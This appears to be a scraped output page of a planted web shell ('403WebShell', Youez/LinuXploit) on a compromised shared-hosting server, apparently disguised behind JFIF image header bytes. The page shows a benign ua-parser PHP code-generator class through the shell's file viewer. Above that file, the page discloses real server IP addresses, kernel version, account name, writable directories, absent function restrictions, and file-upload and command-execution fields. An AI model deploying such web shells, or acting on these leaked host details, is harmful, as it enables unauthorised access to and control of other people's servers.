����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.216.105.175
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/./gltevjme/bofirm.gltechlimited.com/vendor/ua-parser/uap-php/src/Util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/./gltevjme/bofirm.gltechlimited.com/vendor/ua-parser/uap-php/src/Util/CodeGenerator.php
<?php
/**
 * ua-parser
 *
 * Copyright (c) 2011-2012 Dave Olsen, http://dmolsen.com
 *
 * Released under the MIT license
 */
namespace UAParser\Util;

use function array_keys;
use function array_map;
use function array_reduce;
use function array_values;
use function is_scalar;
use function is_string;
use function str_repeat;
use function var_export;

class CodeGenerator
{
    public function generateArray(array $array): string
    {
        $createReducer = static function (bool $multi = true, int $indentation = 1) use (&$createReducer) {
            return static function(string $source, array $element) use ($indentation, $multi, $createReducer) {
                [$key, $value] = $element;

                if (is_scalar($value)) {
                    if ($multi) {
                        $source .= self::indent($indentation);
                    }
                    $source .= self::generateKey($key) .  var_export($value, true);
                    if ($multi) {
                        $source .= ",\n";
                    }

                    return $source;
                }

                if ($multi) {
                    $source .= self::indent($indentation);
                }
                $source .= self::generateKey($key) . "[";
                $nextMulti = count($value) > 1;
                if ($nextMulti) {
                    $source .= "\n";
                }
                $source .= array_reduce(self::toPairs($value), $createReducer($nextMulti, $indentation + 1), '');
                if ($nextMulti) {
                    $source .= self::indent($indentation);
                }
                $source .= "]";
                if ($multi) {
                    $source .= ",\n";
                }

                return $source;
            };
        };

        $multi = count($array) > 1;
        return array_reduce(self::toPairs($array), $createReducer($multi, 1), "[" . ($multi ? "\n" : '')) . '];';
    }

    private static function generateKey($key): string
    {
        return is_string($key) ? var_export($key, true) . ' => ' : '';
    }

    private static function indent(int $indentation): string
    {
        return str_repeat(' ', $indentation * 4);
    }

    private static function toPairs(array $map): array
    {
        return array_map(
            static function ($key, $value): array {
                return [$key, $value];
            },
            array_keys($map),
            array_values($map)
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit